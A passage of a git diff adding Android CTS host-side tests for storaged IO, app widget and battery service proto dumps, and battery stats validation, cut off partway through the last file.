diff --git a/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/SimpleIOService.java b/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/SimpleIOService.java
new file mode 100644
index 0000000..a64d1cf
--- /dev/null
+++ b/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/SimpleIOService.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.storaged;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Process;
+
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+
+public class SimpleIOService extends Service {
+    private Looper mServiceLooper;
+    private ServiceHandler mServiceHandler;
+
+    private final class ServiceHandler extends Handler {
+        public ServiceHandler(Looper looper) {
+            super(looper);
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            File testFile = new File(getFilesDir(), "StoragedTest_Temp_BG");
+            try {
+                char data[] = new char[4096];
+                FileWriter w = new FileWriter(testFile);
+                w.write(data);
+                w.flush();
+                w.close();
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            } finally {
+                // Stop the service using the startId, so that we don't stop
+                // the service in the middle of handling another job
+                stopSelf(msg.arg1);
+            }
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        // Start up the thread running the service.  Note that we create a
+        // separate thread because the service normally runs in the process's
+        // main thread, which we don't want to block.  We also make it
+        // background priority so CPU-intensive work will not disrupt our UI.
+        HandlerThread thread = new HandlerThread("ServiceStartArguments",
+                Process.THREAD_PRIORITY_BACKGROUND);
+        thread.start();
+
+        // Get the HandlerThread's Looper and use it for our Handler
+        mServiceLooper = thread.getLooper();
+        mServiceHandler = new ServiceHandler(mServiceLooper);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Message msg = mServiceHandler.obtainMessage();
+        msg.arg1 = startId;
+        mServiceHandler.sendMessage(msg);
+
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java b/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
new file mode 100644
index 0000000..0e54c68
--- /dev/null
+++ b/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.storaged;
+
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Used by StoragedTest.
+ */
+@RunWith(AndroidJUnit4.class)
+public class StoragedTest {
+    private static final String TAG = "StoragedTest";
+
+    protected Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testForegroundIO() throws Exception {
+        Intent intent = new Intent();
+        intent.setClass(mContext, SimpleIOActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP |
+                        Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+        Thread.sleep(3000);
+    }
+
+    @Test
+    public void testBackgroundIO() throws Exception {
+        Intent intent = new Intent();
+        intent.setClass(mContext, SimpleIOService.class);
+        mContext.startService(intent);
+        Thread.sleep(3000);
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/AppWidgetIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AppWidgetIncidentTest.java
new file mode 100644
index 0000000..9ffe5c4
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/AppWidgetIncidentTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.appwidget.AppWidgetServiceDumpProto;
+import android.service.appwidget.WidgetProto;
+
+/**
+ * Test to check that the appwidget service properly outputs its dump state.
+ */
+public class AppWidgetIncidentTest extends ProtoDumpTestCase {
+
+    private static final String DEVICE_TEST_CLASS = ".AppWidgetTest";
+    private static final String DEVICE_SIDE_TEST_APK = "CtsAppWidgetApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "android.appwidget.cts";
+    private static final String DEVICE_SIDE_WIDGET_CLASS_1 =
+        "android.appwidget.cts.provider.FirstAppWidgetProvider";
+    private static final String DEVICE_SIDE_WIDGET_CLASS_2 =
+        "android.appwidget.cts.provider.SecondAppWidgetProvider";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    private boolean hasAppWidgets() throws Exception {
+        return getDevice().hasFeature("android.software.app_widgets");
+    }
+
+    public void testAppWidgetProtoDump_firstComponent() throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+
+        WidgetProto widget = prepare("testBindWidget1");
+
+        assertNotNull(widget);
+        assertEquals(DEVICE_SIDE_TEST_PACKAGE,
+            widget.getProviderPackage());
+        assertEquals(DEVICE_SIDE_WIDGET_CLASS_1,
+            widget.getProviderClass());
+        assertEquals(false, widget.getIsCrossProfile());
+        assertEquals(false, widget.getIsHostStopped());
+        assertEquals(0, widget.getMinWidth());
+        assertEquals(0, widget.getMinHeight());
+        assertEquals(0, widget.getMaxWidth());
+        assertEquals(0, widget.getMaxHeight());
+
+        cleanup();
+    }
+
+    public void testAppWidgetProtoDump_secondComponent() throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+
+        WidgetProto widget = prepare("testBindWidget2");
+
+        assertNotNull(widget);
+        assertEquals(DEVICE_SIDE_TEST_PACKAGE,
+            widget.getProviderPackage());
+        assertEquals(DEVICE_SIDE_WIDGET_CLASS_2,
+            widget.getProviderClass());
+        assertEquals(false, widget.getIsCrossProfile());
+        assertEquals(false, widget.getIsHostStopped());
+        assertEquals(1, widget.getMinWidth());
+        assertEquals(2, widget.getMinHeight());
+        assertEquals(3, widget.getMaxWidth());
+        assertEquals(4, widget.getMaxHeight());
+
+        cleanup();
+    }
+
+    public void testAppWidgetProtoDump_firstComponentNotBound() throws Exception {
+        if (!hasAppWidgets()) {
+            return;
+        }
+
+        WidgetProto widget = prepare("testAllocateOnlyWidget1");
+
+        // a widget that is not bound must not show up in the dump
+        assertNull(widget);
+
+        cleanup();
+    }
+
+    private WidgetProto prepare(String testMethodName) throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_TEST_CLASS, testMethodName);
+
+        AppWidgetServiceDumpProto dump = getDump(AppWidgetServiceDumpProto.parser(),
+            "dumpsys appwidget --proto");
+
+        for (WidgetProto widgetProto : dump.getWidgetsList()) {
+            if (DEVICE_SIDE_TEST_PACKAGE.equals(widgetProto.getHostPackage())) {
+                return widgetProto;
+            }
+        }
+        return null;
+    }
+
+    private void cleanup() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_TEST_CLASS, "testCleanup");
+    }
+
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
new file mode 100644
index 0000000..7863ea7
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.battery.BatteryServiceDumpProto;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+/** Test to check that the battery manager properly outputs its dump state. */
+public class BatteryIncidentTest extends ProtoDumpTestCase {
+    private final String LEANBACK_FEATURE = "android.software.leanback";
+
+    public void testBatteryServiceDump() throws Exception {
+        final BatteryServiceDumpProto dump =
+                getDump(BatteryServiceDumpProto.parser(), "dumpsys battery --proto");
+
+        if (!dump.getIsPresent()) {
+            /* If the battery isn't present, no need to run this test. */
+            return;
+        }
+
+        if (isLeanback()) {
+            /* Android TV reports that it has a battery, but it doesn't really. */
+            return;
+        }
+
+        assertTrue(
+                dump.getPlugged()
+                        != BatteryServiceDumpProto.BatteryPlugged.BATTERY_PLUGGED_WIRELESS);
+        assertTrue(dump.getMaxChargingCurrent() > 0);
+        assertTrue(dump.getMaxChargingVoltage() > 0);
+        assertTrue(dump.getChargeCounter() > 0);
+        assertTrue(
+                dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
+        assertTrue(
+                dump.getHealth() != BatteryServiceDumpProto.BatteryHealth.BATTERY_HEALTH_INVALID);
+        int scale = dump.getScale();
+        assertTrue(scale > 0);
+        int level = dump.getLevel();
+        assertTrue(level >= 0 && level <= scale);
+        assertTrue(dump.getVoltage() > 0);
+        assertTrue(dump.getTemperature() > 0);
+        assertNotNull(dump.getTechnology());
+    }
+
+    private boolean isLeanback() throws DeviceNotAvailableException {
+        final String commandOutput = getDevice().executeShellCommand("pm list features");
+        return commandOutput.contains(LEANBACK_FEATURE);
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
new file mode 100644
index 0000000..07c6c89
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -0,0 +1,696 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import com.android.ddmlib.IShellOutputReceiver;
+import com.android.tradefed.log.LogUtil;
+
+import com.google.common.base.Charsets;
+
+import java.util.Arrays;
+import java.util.Random;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Test for "dumpsys batterystats -c
+ *
+ * Validates reporting of battery stats based on different events
+ */
+public class BatteryStatsValidationTest extends ProtoDumpTestCase {
+    private static final String TAG = "BatteryStatsValidationTest";
+
+    private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE
+            = "com.android.server.cts.device.batterystats";
+    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
+            = "com.android.server.cts.device.batterystats/.BatteryStatsBackgroundService";
+    private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
+            = "com.android.server.cts.device.batterystats/.BatteryStatsForegroundActivity";
+    private static final String DEVICE_SIDE_JOB_COMPONENT
+            = "com.android.server.cts.device.batterystats/.SimpleJobService";
+    private static final String DEVICE_SIDE_SYNC_COMPONENT
+            = "com.android.server.cts.device.batterystats.provider/"
+            + "com.android.server.cts.device.batterystats";
+
+    // These constants are those in PackageManager.
+    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    public static final String FEATURE_WIFI = "android.hardware.wifi";
+
+
+    // Low end of packet size. TODO: Get exact packet size
+    private static final int LOW_MTU = 1500;
+    // High end of packet size. TODO: Get exact packet size
+    private static final int HIGH_MTU = 2500;
+
+    // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+    public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+    public static final String ACTION_GPS = "action.gps";
+    public static final String ACTION_JOB_SCHEDULE = "action.jobs";
+    public static final String ACTION_SYNC = "action.sync";
+    public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+    public static final String ACTION_WIFI_DOWNLOAD = "action.wifi_download";
+    public static final String ACTION_WIFI_UPLOAD = "action.wifi_upload";
+
+    public static final String KEY_REQUEST_CODE = "request_code";
+    public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // Uninstall to clear the history in case it's still on the device.
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    /** Smallest possible HTTP header. */
+    private static final int MIN_HTTP_HEADER_BYTES = 26;
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+
+        batteryOffScreenOn();
+        super.tearDown();
+    }
+
+    protected void screenOff() throws Exception {
+        getDevice().executeShellCommand("dumpsys batterystats enable pretend-screen-off");
+    }
+
+    /**
+     * This will turn the screen on for real, not just disabling pretend-screen-off
+     */
+    protected void turnScreenOnForReal() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("wm dismiss-keyguard");
+    }
+
+    protected void batteryOnScreenOn() throws Exception {
+        getDevice().executeShellCommand("dumpsys battery unplug");
+        getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
+    }
+
+    protected void batteryOnScreenOff() throws Exception {
+        getDevice().executeShellCommand("dumpsys battery unplug");
+        getDevice().executeShellCommand("dumpsys batterystats enable pretend-screen-off");
+    }
+
+    protected void batteryOffScreenOn() throws Exception {
+        getDevice().executeShellCommand("dumpsys battery reset");
+        getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
+    }
+
+    private void forceStop() throws Exception {
+        getDevice().executeShellCommand("am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    private void resetBatteryStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys batterystats --reset");
+    }
+
+    public void testAlarms() throws Exception {
+        batteryOnScreenOff();
+
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsAlarmTest", "testAlarms");
+
+        assertValueRange("wua", "*walarm*:com.android.server.cts.device.batterystats.ALARM",
+                5, 3, 3);
+
+        batteryOffScreenOn();
+    }
+
+    public void testWakeLockDuration() throws Exception {
+        batteryOnScreenOff();
+
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsWakeLockTests",
+                "testHoldShortWakeLock");
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsWakeLockTests",
+                "testHoldLongWakeLock");
+
+        assertValueRange("wl", "BSShortWakeLock", 15, (long) (500 * 0.9), 500 * 2); // partial max duration
+        assertValueRange("wl", "BSLongWakeLock", 15, (long) (3000 * 0.9), 3000 * 2);  // partial max duration
+
+        batteryOffScreenOn();
+    }
+
+    public void testServiceForegroundDuration() throws Exception {
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        getDevice().executeShellCommand(
+                "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+        assertValueRange("st", "", 5, 0, 0); // No foreground service time before test
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsProcessStateTests",
+                "testForegroundService");
+        assertValueRange("st", "", 5, (long) (2000 * 0.8), 4000);
+
+        batteryOffScreenOn();
+    }
+
+    public void testBleScans() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
+            return;
+        }
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        // Background test.
+        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+        assertValueRange("blem", "", 5, 1, 1); // ble_scan_count
+        assertValueRange("blem", "", 6, 1, 1); // ble_scan_count_bg
+
+        // Foreground test.
+        executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+        assertValueRange("blem", "", 5, 2, 2); // ble_scan_count
+        assertValueRange("blem", "", 6, 1, 1); // ble_scan_count_bg
+
+        batteryOffScreenOn();
+    }
+
+
+    public void testUnoptimizedBleScans() throws Exception {
+        if (isTV()) {
+            return;
+        }
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        // Ble scan time in BatteryStatsBgVsFgActions is 2 seconds, but be lenient.
+        final int minTime = 1500; // min single scan time in ms
+        final int maxTime = 3000; // max single scan time in ms
+
+        // Optimized - Background.
+        executeBackground(ACTION_BLE_SCAN_OPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 1*minTime, 1*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+        // Optimized - Foreground.
+        executeForeground(ACTION_BLE_SCAN_OPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 2*minTime, 2*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+        // Unoptimized - Background.
+        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 3*minTime, 3*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 2*minTime, 2*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 1*minTime, 1*maxTime); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 1*minTime, 1*maxTime); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 1*minTime, 1*maxTime); // unoptimizedScanMaxTimeBg
+
+        // Unoptimized - Foreground.
+        executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 4*minTime, 4*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 2*minTime, 2*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 2*minTime, 2*maxTime); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 1*minTime, 1*maxTime); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 1*minTime, 1*maxTime); // unoptimizedScanMaxTimeBg
+
+        batteryOffScreenOn();
+    }
+
+    public void testGpsUpdates() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
+            return;
+        }
+
+        final String gpsSensorNumber = "-10000";
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        // Whitelist this app against background location request throttling
+        getDevice().executeShellCommand(String.format(
+                "settings put global location_background_throttle_package_whitelist %s",
+                DEVICE_SIDE_TEST_PACKAGE));
+
+        // Background test.
+        executeBackground(ACTION_GPS, 60_000);
+        assertValueRange("sr", gpsSensorNumber, 6, 1, 1); // count
+        assertValueRange("sr", gpsSensorNumber, 7, 1, 1); // background_count
+
+        // Foreground test.
+        executeForeground(ACTION_GPS, 60_000);
+        assertValueRange("sr", gpsSensorNumber, 6, 2, 2); // count
+        assertValueRange("sr", gpsSensorNumber, 7, 1, 1); // background_count
+
+        batteryOffScreenOn();
+    }
+
+    public void testJobBgVsFg() throws Exception {
+        if (isTV()) {
+            return;
+        }
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        // Background test.
+        executeBackground(ACTION_JOB_SCHEDULE, 60_000);
+        assertValueRange("jb", "", 6, 1, 1); // count
+        assertValueRange("jb", "", 8, 1, 1); // background_count
+
+        // Foreground test.
+        executeForeground(ACTION_JOB_SCHEDULE, 60_000);
+        assertValueRange("jb", "", 6, 2, 2); // count
+        assertValueRange("jb", "", 8, 1, 1); // background_count
+
+        batteryOffScreenOn();
+    }
+
+    public void testSyncBgVsFg() throws Exception {
+        if (isTV()) {
+            return;
+        }
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        // Background test.
+        executeBackground(ACTION_SYNC, 60_000);
+        // Allow one or two syncs in this time frame (not just one) due to unpredictable syncs.
+        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 6, 1, 2); // count
+        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 8, 1, 2); // background_count
+
+        // Foreground test.
+        executeForeground(ACTION_SYNC, 60_000);
+        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 6, 2, 4); // count
+        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 8, 1, 2); // background_count
+
+        batteryOffScreenOn();
+    }
+
+    public void testWifiScans() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
+            return;
+        }
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        // Whitelist this app against background wifi scan throttling
+        getDevice().executeShellCommand(String.format(
+                "settings put global wifi_scan_background_throttle_package_whitelist %s",
+                DEVICE_SIDE_TEST_PACKAGE));
+
+        // Background count test.
+        executeBackground(ACTION_WIFI_SCAN, 120_000);
+        // Allow one or two scans because we try scanning twice and because we allow for the
+        // possibility that, when the test is started, a scan from a different uid was already being
+        // performed (causing the test to 'miss' a scan).
+        assertValueRange("wfl", "", 7, 1, 2); // scan_count
+        assertValueRange("wfl", "", 11, 1, 2); // scan_count_bg
+
+        // Foreground count test.
+        executeForeground(ACTION_WIFI_SCAN, 120_000);
+        assertValueRange("wfl", "", 7, 2, 4); // scan_count
+        assertValueRange("wfl", "", 11, 1, 2); // scan_count_bg
+
+        batteryOffScreenOn();
+    }
+
+    /**
+     * Tests whether the on-battery realtime and total realtime values
+     * are properly updated in battery stats.
+     */
+    public void testRealtime() throws Exception {
+        batteryOnScreenOff();
+        long startingValueRealtime = getLongValue(0, "bt", "", 7);
+        long startingValueBatteryRealtime = getLongValue(0, "bt", "", 5);
+        // After going on battery
+        Thread.sleep(2000);
+        batteryOffScreenOn();
+        // After going off battery
+        Thread.sleep(2000);
+
+        long currentValueRealtime = getLongValue(0, "bt", "", 7);
+        long currentValueBatteryRealtime = getLongValue(0, "bt", "", 5);
+
+        // Total realtime increase should be 4000ms at least
+        assertTrue(currentValueRealtime >= startingValueRealtime + 4000);
+        // But not too much more
+        assertTrue(currentValueRealtime < startingValueRealtime + 6000);
+        // Battery on realtime should be more than 2000 but less than 4000
+        assertTrue(currentValueBatteryRealtime >= startingValueBatteryRealtime + 2000);
+        assertTrue(currentValueBatteryRealtime < startingValueBatteryRealtime + 4000);
+    }
+
+    /**
+     * Tests the total duration reported for jobs run on the job scheduler.
+     */
+    public void testJobDuration() throws Exception {
+        batteryOnScreenOff();
+
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsJobDurationTests",
+                "testJobDuration");
+
+        // Should be approximately 3000 ms. Use 0.8x and 2x as the lower and upper
+        // bounds to account for possible errors due to thread scheduling and cpu load.
+        assertValueRange("jb", DEVICE_SIDE_JOB_COMPONENT, 5, (long) (3000 * 0.8), 3000 * 2);
+        batteryOffScreenOn();
+    }
+
+    /**
+     * Tests the total duration and # of syncs reported for sync activities.
+     */
+    public void testSyncs() throws Exception {
+        batteryOnScreenOff();
+
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsSyncTest", "testRunSyncs");
+
+        // First, check the count, which should be 10.
+        // (It could be 11, if the initial sync actually happened before getting cancelled.)
+        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 6, 10L, 11L);
+
+        // Should be approximately, but at least 10 seconds. Use 2x as the upper
+        // bounds to account for possible errors due to thread scheduling and cpu load.
+        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 5, 10000, 10000 * 2);
+    }
+
+    /**
+     * Tests the total bytes reported for downloading over wifi.
+     */
+    public void testWifiDownload() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
+            return;
+        }
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        final long FUZZ = 50 * 1024;
+
+        long prevBytes = getLongValue(getUid(), "nt", "", 6);
+
+        String requestCode = executeForeground(ACTION_WIFI_DOWNLOAD, 60_000);
+        long downloadedBytes = getDownloadedBytes(requestCode);
+        assertTrue(downloadedBytes > 0);
+        long min = prevBytes + downloadedBytes + MIN_HTTP_HEADER_BYTES;
+        long max = prevBytes + downloadedBytes + FUZZ; // Add some fuzzing.
+        assertValueRange("nt", "", 6, min, max); // wifi_bytes_rx
+        assertValueRange("nt", "", 10, min / HIGH_MTU, max / LOW_MTU); // wifi_packets_rx
+
+        // Do the background download
+        long prevBgBytes = getLongValue(getUid(), "nt", "", 20);
+        requestCode = executeBackground(ACTION_WIFI_DOWNLOAD, 60_000);
+        downloadedBytes = getDownloadedBytes(requestCode);
+
+        long minBg = prevBgBytes + downloadedBytes + MIN_HTTP_HEADER_BYTES;
+        long maxBg = prevBgBytes + downloadedBytes + FUZZ;
+        assertValueRange("nt", "", 20, minBg, maxBg); // wifi_bytes_bg_rx
+        assertValueRange("nt", "", 24, minBg / HIGH_MTU, maxBg / LOW_MTU); // wifi_packets_bg_rx
+
+        // Also increases total wifi counts.
+        min += downloadedBytes + MIN_HTTP_HEADER_BYTES;
+        max += downloadedBytes + FUZZ;
+        assertValueRange("nt", "", 6, min, max); // wifi_bytes_rx
+        assertValueRange("nt", "", 10, min / HIGH_MTU, max / LOW_MTU); // wifi_packets_rx
+
+        batteryOffScreenOn();
+    }
+
+    /**
+     * Tests the total bytes reported for uploading over wifi.
+     */
+    public void testWifiUpload() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
+            return;
+        }
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        executeBackground(ACTION_WIFI_UPLOAD, 60_000);
+        int min = MIN_HTTP_HEADER_BYTES + (2 * 1024);
+        int max = min + (6 * 1024); // Add some fuzzing.
+        assertValueRange("nt", "", 21, min, max); // wifi_bytes_bg_tx
+
+        executeForeground(ACTION_WIFI_UPLOAD, 60_000);
+        assertValueRange("nt", "", 7, min * 2, max * 2); // wifi_bytes_tx
+
+        batteryOffScreenOn();
+    }
+
+    private int getUid() throws Exception {
+        String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
+                + DEVICE_SIDE_TEST_PACKAGE);
+        String[] uidLineParts = uidLine.split(":");
+        // 3rd entry is package uid
+        assertTrue(uidLineParts.length > 2);
+        int uid = Integer.parseInt(uidLineParts[2].trim());
+        assertTrue(uid > 10000);
+        return uid;
+    }
+
+    /**
